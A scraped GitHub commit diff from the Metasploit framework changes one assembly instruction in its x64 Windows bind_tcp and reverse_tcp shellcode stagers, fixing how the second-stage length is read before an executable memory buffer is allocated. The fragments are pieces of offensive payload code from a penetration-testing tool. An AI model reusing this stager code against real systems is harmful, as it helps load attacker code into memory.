File tree Expand file tree Collapse file tree 3 files changed +3
-1
lines changed
external/source/shellcode/windows/x64/src/block
lib/msf/core/payload/windows/x64 Expand file tree Collapse file tree 3 files changed +3
-1
lines changed Original file line number Diff line number Diff line change 24
24
add rsp , 32 ; we restore RSP from the api_call so we can pop off RSI next
25
25
; Alloc a RWX buffer for the second stage
26
26
pop rsi ; pop off the second stage length
27
+ mov esi , esi ; only use the lower-order 32 bits for the size
27
28
push byte 0x40 ;
28
29
pop r9 ; PAGE_EXECUTE_READWRITE
29
30
push 0x1000 ;
Original file line number Diff line number Diff line change @@ -220,6 +220,7 @@ def asm_bind_tcp(opts={})
220
220
221
221
; Alloc a RWX buffer for the second stage
222
222
pop rsi ; pop off the second stage length
223
+ mov esi, esi ; only use the lower-order 32 bits for the size
223
224
push 0x40 ;
224
225
pop r9 ; PAGE_EXECUTE_READWRITE
225
226
push 0x1000 ;
Original file line number Diff line number Diff line change @@ -219,7 +219,7 @@ def asm_reverse_tcp(opts={})
219
219
220
220
; Alloc a RWX buffer for the second stage
221
221
pop rsi ; pop off the second stage length
222
- movsxd rsi , esi ; only use the lower-order 32 bits for the size
222
+ mov esi , esi ; only use the lower-order 32 bits for the size
223
223
push 0x40 ;
224
224
pop r9 ; PAGE_EXECUTE_READWRITE
225
225
push 0x1000 ;
You can’t perform that action at this time.
0 commit comments